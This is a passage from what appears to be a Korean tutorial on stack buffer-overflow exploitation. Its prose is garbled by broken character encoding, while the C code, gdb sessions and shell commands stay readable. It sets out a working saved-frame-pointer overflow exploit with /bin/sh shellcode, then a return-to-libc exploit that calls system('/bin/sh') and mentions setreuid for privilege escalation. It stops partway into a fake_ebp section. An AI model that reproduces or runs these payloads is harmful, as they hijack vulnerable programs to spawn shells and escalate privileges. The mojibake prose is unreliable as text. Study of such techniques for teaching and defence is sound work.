argc, char *argv[]) { func(argv[1]); } func(char *s) { char buf[16]; int i; for(i=0;i<=16;i++) buf[i] = s[i]; } //end// sfp over ´Â Á¶±Ý º¹ÀâÇϱ⠶§¹®¿¡ °ø°Ý¿¡ ÇÊ¿äÇÑ ¹è°æÁö½ÄÀ» ¸ðµÎ Àû¾î º¸µµ·Ï ÇÏ°Ú´Ù. (³»°¡ °øºÎÇØ¾ß µÇ±â ¶§¹®Àΰ¡..) ÀÏ´Ü ¾Ë¾Æ¾ß ÇÒ °ÍÀº main ÇÔ¼ö¿Í sub ÇÔ¼ö°¡ ½ÇÇà µÉ ¶§ÀÇ ½ºÅÃÀÇ ¸ð¾çÀÌ´Ù. ¾î¶² ÀÏÀ» ÇÏ°í ·¹Áö½ºÅÍ°¡ ¾î¶»°Ô º¯ÇÏ´ÂÁö ¾Ë¾Æ¾ß ÇÒ ÇÊ¿ä°¡ ÀÖ´Ù. °£´ÜÇÑ ÇÁ·Î±×·¥À» Â¥¼­ »ìÆ캸µµ·Ï ÇÏÀÚ. //test.c// int sub() { int c; int d; } int main() { int a; int b; sub(); } //end// ÀÏ´Ü ÀÌ ÇÁ·Î±×·¥ÀÌ ½ÇÇà µÉ¶§ÀÇ ½ºÅøð¾çÀº ¾Æ·¡¿Í °°´Ù. [d] [c] [sub_sfp] [sub_ret] [b] [a] [main_sfp] [ret] °¢ [] Àº 4bytes ÀÇ Å©±â¸¦ °¡Áø´Ù. test.c¸¦ ÄÄÆÄÀÏ ÇÑ ÈÄ µð¹ö°Å¸¦ ÅëÇؼ­ ÀÚ¼¼È÷ »ìÆ캸µµ·Ï ÇÏÀÚ. Dump of assembler code for function main: 0x080482fc : push %ebp 0x080482fd : mov %esp,%ebp 0x080482ff : sub $0x8,%esp 0x08048302 : and $0xfffffff0,%esp 0x08048305 : mov $0x0,%eax 0x0804830a : sub %eax,%esp 0x0804830c : call 0x80482f4 0x08048311 : leave 0x08048312 : ret 0x08048313 : nop End of assembler dump. main ÇÔ¼ö¸¦ º¸¸é ¸Ç óÀ½ ebp ¸¦ push ÇÏ°í esp ¸¦ ebp ¿¡ º¹»ç Çß´Ù. main+0 ¿¡ break point ¸¦ °É°í ÇÁ·Î±×·¥ ½ÇÇà È帧À» È®ÀÎÇØ º¸°Ú´Ù. (gdb) b *main+0 Breakpoint 1 at 0x80482fc (gdb) r Starting program: /home/sjh21a/file/overflow/test Breakpoint 1, 0x080482fc in main () (gdb) info reg ebp esp ebp 0xbffffb28 0xbffffb28 esp 0xbffffb0c 0xbffffb0c (gdb) ni 0x080482fd in main () (gdb) info reg ebp esp ebp 0xbffffb28 0xbffffb28 esp 0xbffffb08 0xbffffb08 (gdb) ni 0x080482ff in main () (gdb) info reg ebp esp ebp 0xbffffb08 0xbffffb08 esp 0xbffffb08 0xbffffb08 (gdb) (gdb) info reg ebp esp ebp 0xbffffb08 0xbffffb08 esp 0xbffffb00 0xbffffb00 main+3 ¿¡¼± ebp ¿Í esp °ªÀÌ °°Àº°É º¼ ¼ö ÀÖ´Ù. (mov %esp, %ebp) ±× ÈÄ main+6 ¿¡¼­ º¯¼ö¸¦ À§ÇÑ °ø°£À» ÇÒ´ç ÇÑ´Ù. ÀÌ°ÍÀº esp ´Â ½ºÅÃÀÇ »óÀ§ µ¥ÀÌÅ͸¦ °¡¸®Å°´Â Æ÷ÀÎÅÍ À̱⠶§¹®¿¡ ½ºÅÿ¡ µ¥ÀÌÅÍ°¡ push, ¶Ç´Â pop µÉ ¶§ ¸¶´Ù Ç×»ó ¹Ù²î°Ô µÈ´Ù. ÀÌ·¸°Ô µÇ¸é º¯¼ö¸¦ ÂüÁ¶¸¦ À§ÇÑ ±âÁØ ÁÖ¼Ò°¡ ÀÖ¾î¾ß Çϴµ¥, ÀÌ°ÍÀÌ stack frame point(ebp) ÀÌ´Ù. À§ ÇÁ·Î±×·¥¿¡¼­ ebp-4 ´Â º¯¼ö a ¸¦ ebp-8 Àº º¯¼ö b ¸¦ °¡¸£Å°°Ô µÈ´Ù. ±× ÈÄ sub ÇÔ¼ö¸¦ È£Ãâ ÇÏ°Ô µÇ´Âµ¥, ÀÌÁ¦ ºÎÅÍ°¡ Áß¿ä ÇÏ´Ù!! ¸¶Âù°¡Áö·Î sub+0 ¿¡ break point ¸¦ °É¾î µÎ°í µð¹ö°Å¸¦ ÅëÇØ ÀÚ¼¼È÷ »ìÆ캸ÀÚ Breakpoint 1, 0x080482f4 in sub () (gdb) info reg ebp esp ebp 0xbffffb08 0xbffffb08 esp 0xbffffafc 0xbffffafc (gdb) ni 0x080482f5 in sub () (gdb) info reg ebp esp ebp 0xbffffb08 0xbffffb08 esp 0xbffffaf8 0xbffffaf8 (gdb) ni 0x080482f7 in sub () (gdb) info reg ebp esp ebp 0xbffffaf8 0xbffffaf8 esp 0xbffffaf8 0xbffffaf8 (gdb) ÀÏ´Ü sub+0 Àº ebp °¡ main ÇÔ¼öÀÇ ebp ¸¦ °¡Áö°í ÀÖ¾ú´Ù. ÇÏÁö¸¸ sub+3 ¿¡ µé¾î¼­´Â mov %esp, %ebp ¸í·ÉÀ¸·Î ÀÎÇØ esp ÀÇ °ªÀÌ ebp·Î º¹»ç µÇ¾ú´Ù. ±×·³ main ÇÔ¼öÀÇ sfp ´Â ¾Æ¿¹ »ç¶óÁ®¹ö¸° °ÍÀϱî? ±Ã±ÝÇÏ´Ù. ÇÔ¼ö È£ÃâÀÌ ³¡³­ ÈÄ ´Ù½Ã main ÇÔ¼ö·Î µ¹¾Æ ¿Í¼­´Â main ÇÔ¼ö ¾È¿¡ ÀÖ´Â º¯¼ö¸¦ À§ÇØ ´Ù½Ã ±âÁØ ÁÖ¼Ò°¡ ÇÊ¿äÇÒ °Í ÀÌ´Ù. (gdb) x/x $ebp 0xbffffaf8: 0xbffffb08 (gdb) ÇÏÁö¸¸, ¹ö·ÁÁø °ÍÀÌ ¾Æ´Ï´Ù! È®½ÇÇÏ°Ô ±â¾ï ÇÏ°í ÀÖ´Ù. sub ÇÔ¼öÀÇ ebp ´Â ÀÌÀü main ÀÇ stack frame pointer °ªÀ» ±â¾ïÇÏ°í ÀÖ´Ù. ÀÌÁ¦ °ÅÀÇ ´Ù ¿Ô´Ù. ¸¶Áö¸·À¸·Ð leave ¿Í ret ¸í·ÉÀÌ ¾î¶²ÀÏÀ» ÇÏ´ÂÁö ¾Ë¾Æ¾ß ÇÑ´Ù. leave ´Â mov ebp, esp pop ebp ¸í·ÉÀ» ¼öÇàÇÏ°í ret´Â esp¸¦ eip ¿¡ ÂüÁ¶ ÇÑ µÚ eip ¸¦ ret·Î ÀνÄÇؼ­ ´ÙÀ½ ½ÇÇàÇÒ ÁÖ¼Ò·Î ³Ñ¾î°£´Ù. test.c ÇÁ·Î±×·¥À» ÅëÇؼ­ Á» ´õ »ó¼¼ÇÏ°Ô ¾Ë¾Æº¸ÀÚ. Dump of assembler code for function main: 0x080482fc : push %ebp 0x080482fd : mov %esp,%ebp 0x080482ff : sub $0x8,%esp 0x08048302 : call 0x80482f4 0x08048307 : leave 0x08048308 : ret 0x08048309 : nop 0x0804830a : nop 0x0804830b : nop End of assembler dump. (gdb) (gdb) disas sub Dump of assembler code for function sub: 0x080482f4 : push %ebp 0x080482f5 : mov %esp,%ebp 0x080482f7 : sub $0x8,%esp 0x080482fa : leave 0x080482fb : ret End of assembler dump. (gdb) main+3 °ú, main+11 ±×¸®°í sub+3 °ú sub+6 ¿¡ break point ¸¦ °É°í ½ÇÇà ½ÃŲ´Ù. (gdb) b *main+3 Breakpoint 1 at 0x80482ff (gdb) b *main+11 Breakpoint 2 at 0x8048307 (gdb) b *sub+3 Breakpoint 3 at 0x80482f7 (gdb) b *sub+6 Breakpoint 4 at 0x80482fa (gdb) r Starting program: /home/sjh21a/file/overflow/test Breakpoint 1, 0x080482ff in main () (gdb) info reg ebp esp ebp 0xbffffb08 0xbffffb08 esp 0xbffffb08 0xbffffb08 (gdb) óÀ½ main+3 ¿¡¼­ bp °¡ °É¸° »óÅ´Ù. ÇÑÁÙÀ» ½ÇÇà ÇØ º¸¸é ebp 0xbffffb08 0xbffffb08 esp 0xbffffb00 0xbffffb00 (gdb) esp °ªÀÌ 8 °¨¼ÒµÇ¾ú´Ù. main ÇÔ¼ö¿¡¼­ »ç¿ë ÇÏ´Â º¯¼ö¸¦ »ç¿ëÇϱâ À§Çؼ­´Ù. ±×·± ÈÄ, sub ÇÔ¼ö±îÁö ½ÇÇàÀ» Çϸé (gdb) info reg ebp esp ebp 0xbffffaf8 0xbffffaf8 esp 0xbffffaf8 0xbffffaf8 (gdb) ebp ¿Í esp °ªÀÌ »õ·Ó°Ô ¼³Á¤ µÇ¾ú´Ù. ÇöÀç sub ÀÇ sfp ´Â main ÀÇ ebp¸¦ °¡¸£Å°°í ÀÖ´Ù. (gdb) x/x $ebp 0xbffffaf8: 0xbffffb08 (gdb) °è¼Ó ½ÇÇà ½ÃÄѺ¸ÀÚ. (gdb) c Continuing. Breakpoint 4, 0x080482fa in sub () (gdb) info reg ebp esp ebp 0xbffffaf8 0xbffffaf8 esp 0xbffffaf0 0xbffffaf0 (gdb) (gdb) info reg ebp esp ebp 0xbffffb08 0xbffffb08 esp 0xbffffb00 0xbffffb00 (gdb) ¸¶Ä§³», main ÇÔ¼ö·Î µ¹¾Æ¿Ô°í, sub ÇÔ¼ö¸¦ È£Ãâ Çϱâ ÀüÀÇ ¸ð¾çÀ¸·Î µ¹¾Æ¿Ô´Ù. ´Ù½Ã leave ¿Í ret ÀÇ ¿ªÈ°¿¡ ´ëÇØ »ý°¢ÇØ º¸°í, exploit ÇÒ ÇÁ·Î±×·¥À» ´ë»óÀ¸·Î À§¿Í °°Àº ÀÛ¾÷À» Çغ¸ÀÚ. (gdb) disass main Dump of assembler code for function main: 0x08048328 : push %ebp 0x08048329 : mov %esp,%ebp 0x0804832b : mov 0xc(%ebp),%eax 0x0804832e : add $0x4,%eax 0x08048331 : pushl (%eax) 0x08048333 : call 0x804833d 0x08048338 : add $0x4,%esp 0x0804833b : leave 0x0804833c : ret End of assembler dump. (gdb) Dump of assembler code for function func: 0x0804833d : push %ebp 0x0804833e : mov %esp,%ebp 0x08048340 : sub $0x14,%esp 0x08048343 : movl $0x0,0xffffffec(%ebp) 0x0804834a : cmpl $0x10,0xffffffec(%ebp) 0x0804834e : jle 0x8048352 0x08048350 : jmp 0x804836b 0x08048352 : lea 0xfffffff0(%ebp),%eax 0x08048355 : mov %eax,%edx 0x08048357 : add 0xffffffec(%ebp),%edx 0x0804835a : mov 0xffffffec(%ebp),%eax 0x0804835d : add 0x8(%ebp),%eax 0x08048360 : mov (%eax),%al 0x08048362 : mov %al,(%edx) 0x08048364 : lea 0xffffffec(%ebp),%eax 0x08048367 : incl (%eax) 0x08048369 : jmp 0x804834a 0x0804836b : lea 0xfffffff0(%ebp),%eax 0x0804836e : push %eax 0x0804836f : push $0x804842c 0x08048374 : call 0x8048268 0x08048379 : add $0x8,%esp 0x0804837c : leave 0x0804837d : ret 0x0804837e : nop 0x0804837f : nop End of assembler dump. ¸¶Âù°¡Áö·Î main+3, main+19, func+3, func+63 ¿¡ bp ¸¦ °É°í ÀÎÀÚ¸¦ ³Ö¾î¼­ ½ÇÇà ½ÃÄÑ º¸ÀÚ. ³ÑÄ¥¸¸Å­ (gdb) b *main+3 Breakpoint 1 at 0x80482f7 (gdb) b *main+19 Breakpoint 2 at 0x8048307 (gdb) b *func+3 Breakpoint 3 at 0x804830c (gdb) b *func+63 Breakpoint 4 at 0x8048337 (gdb) r `perl -e 'print "X"x32'` Starting program: /home/sjh21a/file/overflow/vul `perl -e 'print "X"x32'` Breakpoint 1, 0x080482f7 in main () (gdb) X ÀÇ °¹¼ö´Â ÀÓÀÇ·Î Á¤ÇØÁá´Ù. ÀÌÁ¦ µð¹ö±ëÀ» Çϸ鼭 ÁøÇà ½ÃÄѺ¸ÀÚ. (gdb) info reg ebp esp ebp 0xbffffae8 0xbffffae8 esp 0xbffffae8 0xbffffae8 (gdb) main+3 ¿¡¼­ °¢ ·¹Áö½ºÅ͸¦ º» °Í ÀÌ´Ù. Breakpoint 3, 0x0804830c in func () (gdb) info reg ebp esp ebp 0xbffffadc 0xbffffadc esp 0xbffffadc 0xbffffadc (gdb) ÁøÇà ½ÃŲ ÈÄ, func ÀÇ ½ÃÀۺκп¡¼­ ebp ¿Í esp °ªÀ» üũ Çß´Ù. ÀÌÁ¦ ´õ ÁøÇà ½ÃÅ°¸é, ebp ÀÇ °ªÀº ¹Ù²ï´Ù. ¿ì¸®°¡ ¾Æ±î ³Ö¾îÁØ XÀÇ ASCII ÄÚµå °ªÀº 58·Î. ¹°·Ð 1 byte ¸¸ ¹Ù²ï´Ù. Breakpoint 4, 0x0804837c in func () (gdb) info reg ebp esp ebp 0xbffffadc 0xbffffadc esp 0xbffffac8 0xbffffac8 (gdb) ni 0x0804837d in func () (gdb) info reg ebp esp ebp 0xbffffa58 0xbffffa58 esp 0xbffffae0 0xbffffae0 (gdb) ebp °¡ 0xbffffa58·Î ¹Ù²î¾ú´Ù. 58 Àº ¿ì¸®°¡ ÀÔ·ÂÇÑ XÀÇ ASCII ÄÚµå´Ù. ÀÌÁ¦ ÀÌ º¯°æµÈ ebp °ªÀÌ main ÇÔ¼ö¿¡ ³Ñ¾î°¡¸é ¾î¶°ÇÑ ÀÏÀÌ ¹ú¾îÁö´ÂÁö »ìÆ캸ÀÚ. Breakpoint 2, 0x0804833b in main () (gdb) info reg ebp esp ebp 0xbffffa58 0xbffffa58 esp 0xbffffae8 0xbffffae8 (gdb) º¯°æµÈ ebp ÁÖ¼Ò¸¦ ±×´ë·Î ³Ñ°Ü¹Þ¾Ò´Ù. ÀÚ, leave ¸í·ÉÀ» ½ÇÇà ½ÃÅ°¸é ¾î¶² º¯È­°¡ ÀϾ´ÂÁö º¸ÀÚ (gdb) ni 0x0804833c in main () (gdb) info reg ebp esp ebp 0x40015bd4 0x40015bd4 esp 0xbffffa5c 0xbffffa5c esp°¡ ¹Ù²î¾ú´Ù. leave °¡ ÇÏ´Â ÀÏÀº mov ebp, esp pop ebp ebp °ªÀ» esp ¿¡ ¿Å±â°í, ebp ¸¦ pop ÇÔÀ¸·Î½á, esp ´Â +4 Áõ°¡ ÇÑ´Ù. ½ºÅà ±¸Á¶¸¦ º¸¸é ebp+4ÀÇ À§Ä¡´Â ret ÁÖ¼Ò´Ù ±×¸®°í ¸¶Áö¸·À¸·Î ret ¸í·ÉÀ¸·Î, eip ´Â esp ¸¦ ÂüÁ¶Çؼ­ ´ÙÀ½ ½ÇÇàÇÒ ÁÖ¼Ò·Î Á¡ÇÁ ÇÑ´Ù. ÀÌ¿¡, ebp °ªÀ» 1byte ¶óµµ º¯Á¶ ÇÒ ¼ö ÀÖ´Ù¸é ret¸¦ ¿ì¸®°¡ ¿øÇÏ´Â ÁÖ¼Ò·Î ¹Ù²Ü ¼ö ÀÖ´Ù´Â °É º¸¾Ò´Ù. ÀÌÁ¦, exploit ÇÁ·Î±×·¥ÀÇ ±¸»óÀ» Â¥º¸ÀÚ. ½©ÄÚµå´Â 0xbffff9fc~0xbffffafc »çÀÌ¿¡ Á¸Àç ÇØ¾ß ÇÑ´Ù. (leave ¿¡ ÀÇÇØ esp °¡ +4 µÇ±â ¶§¹®) ¹æ¹ýÀº ¿©·¯°¡Áö´Ù. ½ºÅÿ¡ ½©Äڵ带 ¿Ã·Á³õ°í, ±× ÁÖ¼Ò¸¦ buf¿¡ ³Ö°Å³ª, argv ¿¡ ½©Äڵ带 ¿Ã·Á ³õ°í ±× ÁÖ¼Ò¸¦ buf¿¡ ³ÖÀ¸¸é µÈ´Ù. argv ¹æ¹ýÀ» »ç¿ëÇغ¸ÀÚ. ÀÏ´Ü ½©ÄÚµåÀÇ ÁÖ¼Ò¸¦ ¾Ë¾Æ¾ß Çϴµ¥, gdb ·Îµµ È®ÀÎ ÇÒ ¼ö ÀÖÁö¸¸, °£´ÜÇÑ °è»ê¹ýÀ» Àû¿ëÇØ º¸ÀÚ. //sev.c// main(int argc, char **argv) { extern **environ; printf("environ[0] = %p\n", environ[0]); } //end// ÀÌ ÇÁ·Î±×·¥Àº ȯ°æº¯¼öÀÇ Ã¹¹ø° ÁÖ¼Ò¸¦ Ãâ·ÂÇØ ÁØ´Ù. ½ÄÀº environ[0] - argv[2]_size - 1(\x0a) = argv[2]_addr ´Ù¸¥ ÁÖ¼Òµµ ÀÌ¿Í °°Àº ½ÄÀ¸·Î ±¸ÇÒ ¼ö ÀÖ´Ù. ±¸Çغ¸ÀÚ. [sjh21a@work overflow]$ ./sev environ[0] = 0xbffffc5b [sjh21a@work overflow]$ 0xbffffc5b - 24 - 1 = 0xbffffc42 °¡ ³ª¿Â´Ù. ÀÌÁ¦ ÇÒÀÏÀº bufÀÇ Ã¹ ºÎºÐ¿¡ 0xbffffc42 ¸¦ ³Ö°í, ebp °¡ 1byte ³ÑÄ¡´Â ºÎºÐ¿¡ bufÀÇ ½ÃÀÛ ÁÖ¼Ò -4¸¦ ¿Ã·Á µÎ°í, argv[2] ¿¡ 24 ¹ÙÀÌÆ® Å©±âÀÇ ½©Äڵ带 ¿Ã·Á µÎ¸é µÈ´Ù. * bufÀÇ Å©±â°¡ ¿©À¯·Î¿ï ¶©, argv[1] ¿¡ ³Ö°í argv[1] ¿¡¼­ ½©ÄÚµåÀÇ ÁÖ¼Ò¸¦ ãÀ¸¸é µÈ´Ù. ½ÄÀº envrion[0] - argv[1]_size - 1 + ½©Äڵ带 Á¦¿ÜÇÑ ¹®ÀÚ¿­ = argv[1]_sc_addr (½ÃÇèÀº ¾ÈÇغôÙ.) bufÀÇ ÁÖ¼Ò´Â ¾î¶»°Ô ãÀ» ¼ö ÀÖÀ»±î? ÀÌ°ÍÀº gdb ¸¦ ÀÌ¿ëÇÏ¸é ±Ý¹æ ãÀ» ¼ö ÀÖ´Ù. (gdb) info reg ebp esp ebp 0xbffffaec 0xbffffaec esp 0xbffffaec 0xbffffaec func ÇÔ¼ö°¡ È°¼ºÈ­ µÇ¾î ÀÖÀ» ¶§ÀÇ esp °ªÀÌ´Ù. ±× ´ÙÀ½ º¯¼ö¸¦ ÇÒ´ç ÇÒ ¶§ esp °ªÀº °¨¼Ò µÈ´Ù. º¸µµ·Ï ÇÏÀÚ. Breakpoint 2, 0x08048340 in func () (gdb) ni 0x08048343 in func () (gdb) oinfo reg Undefined command: "oinfo". Try "help". (gdb) info reg ebp esp ebp 0xbffffaec 0xbffffaec esp 0xbffffad8 0xbffffad8 (gdb) esp °¡ º¯¼ö¸¦ À§ÇØ º¯°æ µÇ¾ú´Ù. ÀÌÁ¦ °ªÀ» ÀÌ¿ëÇصµ µÇ°ÚÀ¸³ª, gdb ¸¦ »ç¿ë ÇÒ¶© ½ÇÁ¦ ¸Þ¸ð¸®¿Í +-16 byte Á¤µµÀÇ Â÷ÀÌ°¡ ÀÖ´Ù. µû¶ó¼­, 0xbffffac8 À» ½ÃÀÛ ÁÖ¼Ò·Î ¿¹»óÇÏ°í c8 °ªÀ» ³Ö¾î º¸µµ·Ï ÇÏÀÚ. [sjh21a@work overflow]$ ./vul `perl -e 'print "\x42\xfc\xff\xbf","\xc8"x13'` `perl -e 'print "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"'` B?¿ÈÈÈÈÈÈÈÈÈÈÈÈÈ????¿y@ sh-2.05b$ ps PID TTY TIME CMD 1342 pts/0 00:00:00 bash 1420 pts/0 00:00:00 sh 1421 pts/0 00:00:00 ps sh-2.05b$ Á¶±Ý º¹ÀâÇÏÁö¸¸ ½©ÀÌ ½ÇÇà µÇ¾ú´Ù. ´õ °£´ÜÇÑ ¹æ¹ýµµ ÀÖÁö¸¸, ¿©±â¼± »ý·« Çϵµ·Ï ÇÏÀÚ ´ÙÀ½ °­Á´ ¸®ÅÏ ¾îµå·¹½º¿¡ ½ÇÁ¦ ÇÔ¼öÀÇ ÁÖ¼Ò¸¦ ½á ³Ö´Â ¹æ¹ýÀÌ´Ù. ¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ¦¬[0x03. Return To libary (RTL)]¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ÀÌ ¿À¹öÇ÷οì Å×Å©´ÐÀº ¸®ÅÏ ¾îµå·¹½º¿¡ ½ÇÁ¦ ÇÔ¼öÀÇ ÁÖ¼Ò¸¦ ½á³Ö°í, ¶Ç ±× ÇÔ¼ö¿¡ ¸Â´Â ÀÎÀÚ¸¦ ÇÔ²² ³Ö¾îÁÜÀ¸·Î½á, ½©À» ½ÇÇà½ÃÅ°´Â ¹æ¹ýÀÌ´Ù. ±×¸®°í ´ÙÀ½ ¼½¼Ç¿¡¼± ¿©·¯°¡Áö ÇÔ¼ö¸¦ ½ÇÇà ½ÃÅ°´Â ¹æ¹ýµµ ¾Ë¾Æº¸ÀÚ. exploit ÇÒ ÇÁ·Î±×·¥Àº //vul.c// int main(int argc, char *argv[]) { char buf[12]; strcpy(buf,argv[1]); } //end// ÀÌÁ¦ 28¹ÙÀÌÆ®ÀÇ buf °ªÀ» ³Ö¾îÁØ ÈÄ ¸®ÅÏ ¾îµå·¹½º¸¦ ½©À» ½ÇÇà ½Ãų ¼ö ÀÖ´Â system ÇÔ¼ö·Î ¹Ù²ãÁÖµµ·Ï ÇÏÀÚ. system ÇÔ¼öÀÇ ÁÖ¼Ò´Â gdb µð¹ö°Å¸¦ ÅëÇؼ­ ãÀ» ¼ö ÀÖ´Ù. [sjh21a@work overflow]$ gdb -q vul (gdb) b main Breakpoint 1 at 0x804832e (gdb) r Starting program: /home/sjh21a/file/overflow/vul Breakpoint 1, 0x0804832e in main () (gdb) x/x system 0x40063430 : 0x83e58955 (gdb) Å×½ºÆ®ÇÑ ½Ã½ºÅÛ¿¡¼­´Â system ÀÇ ÁÖ¼Ò°¡ 0x40063430 ÀÌ´Ù. ÀÌÁ¦ ret ¿µ¿ª¿¡ system ÁÖ¼Ò¸¦ ³Ö¾îº¸ÀÚ. [sjh21a@work overflow]$ ./vul `perl -e 'print "S"x28, "\x30\x34\x06\x40"'` sh: line 1: 3???? command not found ¼¼±×¸àÅ×ÀÌ¼Ç ¿À·ù [sjh21a@work overflow]$ ¼¼±×¸àÅ×ÀÌ¼Ç ¿À·ù°¡ ¶ß±â Àü¿¡, ½©ÀÌ sh: line 1: 3???? command not found ¶ó´Â ¸í·ÉÀ» ½ÇÇà ½ÃÄ×´Ù. /bin/bash ¸¦ line 1: 3??? ¶ó´Â À̸§À¸·Î ¸µÅ© ½ÃÄѼ­ °°Àº µð·ºÅ丮 ³»¿¡ À§Ä¡½ÃÄѵµ µÇ°ÚÁö¸¸ Á» ´õ ±ò²ûÇÏ°Ô ÇÔ¼ö¿¡ ÀÎÀÚ¸¦ Áý¾î ³Ö¾î¼­ ½ÇÇà ½ÃÅ°´Â ¹æ¹ýÀ» »ý°¢ÇØ º¸ÀÚ. ¿ì¸®°¡ ½ÇÇà ½ÃÄÑ¾ß ÇÒ ÇÔ¼ö¿Í ÀÎÀÚ´Â system("/bin/bash"); ÀÌ´Ù. /bin/bash ´Â Æ÷ÀÎÅÍ°¡ ¾Æ´Ï¶ó ¹®ÀÚ¿­À̾î¾ß ÇÑ´Ù. ¸Þ¸ð¸®¿¡¼­ /bin/bash ¶ó´Â ¹®ÀÚ¿­À» ã´Â ÇÁ·Î±×·¥À» ÀÛ¼ºÇØ º¸ÀÚ. //find.c// #include #include #define BASE_ADDR 0x40063430 int main() { char *ptr=BASE_ADDR; while(1) { if( (strncmp(ptr,"/bin/sh",7))==0) { printf("%p : %s\n",ptr,ptr); return 0; } ptr++; } } //end// [sjh21a@work overflow]$ ./find 0x4014ed24 : /bin/sh [sjh21a@work overflow]$ 0x4014ed24 ¿¡ /bin/sh ¶ó´Â ¹®ÀÚ¿­ÀÌ µé¾î ÀÖ´Ù. ãÁö ¸øÇß´Ù¸é BASE_ADDRÀÇ ÁÖ¼Ò¸¦ ÀÚ½ÅÀÇ system ÇÔ¼öÀÇ ÁÖ¼Ò·Î ¹Ù²ãº¸±â ¹Ù¶õ´Ù. ÀÌÁ¦, ÇÔ¼ö°¡ ½ÇÇà µÉ ¶§, ÀÎÀÚ¸¦ ¾î´À ºÎºÐ¿¡¼­ ÂüÁ¶ ÇÏ´ÂÁö ±×¸²À» ±×·Áº¸ÀÚ. [func] [ret] [arg1] [arg2] [...] func ´Â ÇÔ¼öÀÇ ÁÖ¼Ò, ret ´Â func °¡ ½ÇÇà µÇ°í ³­ ÈÄ ½ÇÇà µÉ À§Ä¡, argv1, argv2, ... ´Â func ¿¡ µé¾î°¥ ÇÔ¼öÀÇ ÀÎÀÚ´Ù. ÀÌÁ¦ vul ÇÁ·Î±×·¥À» ÀͽºÇ÷ÎÀÕ ÇÒ ±×¸²À» ±×·Áº¸ÀÚ [buf_data 24byte] [sfp 4byte] [ret(system_addr)] [garbage] [/bin/sh_addr] ÀÌ·± ¸ð¾çÀ¸·Î °ø°ÝÀ» ÇÑ´Ù¸é, ½©ÀÌ Á¤»óÀûÀ¸·Î ½ÇÇà µÇ°Ú´Ù. Á÷Á¢ Çغ¸µµ·Ï ÇÏÀÚ. [sjh21a@work overflow]$ ./vul `perl -e 'print "X"x28, "\x30\x34\x06\x40", "\x41\x41\x41\x41", "\x24\xed\x14\x40"'` sh-2.05b$ ps PID TTY TIME CMD 2511 pts/0 00:00:00 bash 2744 pts/0 00:00:00 vul 2745 pts/0 00:00:00 sh 2746 pts/0 00:00:00 ps sh-2.05b$ ±ò²ûÇÏ°Ô ¼º°ø Çß´Ù. ÇÏÁö¸¸ ¹®Á¦Á¡ÀÌ ÀÖ´Ù. 7.3 À̻󿡼­´Â ±×³É /bin/bash ¸¦ ½ÇÇà ½ÃÄѼ­´Â ´Ù¸¥ ±ÇÇÑÀ¸·ÎÀÇ »ó½Â(¿¹¸¦ µé¾î uid 0)À» ÇÒ ¼ö ¾ø´Ù. ±ÇÇÑ »ó½ÂÀ» ÇÏ·Á¸é, setreuid ³ª setregid °°Àº ÇÔ¼ö°¡ system ÇÔ¼öº¸´Ù ¿ì¼± È£Ã⠵Ǿî¾ß ÇÑ´Ù. Áï, ÇÑ ÇÔ¼ö È£Ã⸸ÀÌ ¾Æ´Ñ ¿©·¯°³ÀÇ ÇÔ¼ö¸¦ È£Ãâ ÇÏ´Â ¹æ¹ý¿¡ ´ëÇØ »ìÆì º¸µµ·Ï ÇÏÀÚ. fake_ebp ¸¦ ÅëÇؼ­ »ç¿ë ÇÒ ¼ö ÀÖ´Ù. ¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ¦¬[0x04. fake_ebp]¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ÀÌ Àü ¼½¼Ç¿¡¼­ ÇÁ·Î±×·¥ÀÇ ¸®ÅÏ ¾îµå·¹½º¸¦ ¹Ù²ã¼­ system ÇÔ¼ö Çϳª¸¸À» È£Ãâ Çغ¸¾Ò´Ù. ÇÏÁö¸¸, setreuid ¿Í °°Àº ±ÇÇÑ »ó½Â¿¡ ´ëÇÑ ÇÔ¼ö¸¦ ½ÇÇà ½Ãų ¼ö ¾ø¾î¼­, Á¶±Ý ¾Æ½±±ä Çß´Ù. ÀÏ´Ü °£´ÜÇÑ Å×½ºÆ® ÇÁ·Î±×·¥À» ¸¸µé¾î¼­ ÀÍÈù ±â¼úÀ» »ç¿ë ÇØ º¸ÀÚ. ±×¸®°í Á¶±Ý º¹Àâ ÇÏ´õ¶óµµ, setreuid ¸¦ È£Ãâ ÇÑ ÈÄ, system À» È£Ãâ ÇØ º¸µµ·Ï ÇÏÀÚ. fake_ebp ¶ó´Â ±â¼úÀε¥, À§¿¡ 0x02 ¿¡¼­ sfp overflow¿Í °°ÀÌ sfp ¸¦ ¼Ó¿©¼­, ¸Þ¸ð¸®ÀÇ ´Ù¸¥ ºÎºÐÀ» ÇÁ·Î±×·¥ÀÇ ÀϺκРó·³ ½ÇÇà ÇÏ°Ô ÇÏ´Â Æ®¸¯ÀÌ´Ù. ÀÏ´Ü Å×½ºÆ®ÇÒ ÇÁ·Î±×·¥À» º¸ÀÚ. //test.c// int func1() { printf("Hello\n"); } int func2() { printf("Say yo\n"); } int func3() { printf("sick my eyes\n"); } int main(int argc, char *argv[]) { char buf[12]; if(argc != 2) { printf("no args\n"); return -1; } strcpy(buf,argv[1]); } //end// func1~3 ¹ø ±îÁöÀÇ ÇÔ¼ö°¡ ÀÖ´Ù. main ÇÔ¼ö´Â À̵é ÇÔ¼ö¸¦ È£Ãâ ÇÏÁö ¾Ê°í, »ç¿ëÀÚ·Î ºÎÅÍ ÀÔ·ÂÀ» ¹Þ¾Æ µéÀÌ°í ÀÖ´Ù. ¾î¶»°Ô Çϸé func1~3¹ø±îÁö¸¦ "Çѹø¿¡" "¸ðµÎ" È£Ãâ ÇÒ ¼ö ÀÖÀ»±î? Çϳª¾¿ µû·Îµû·Î È£Ãâ 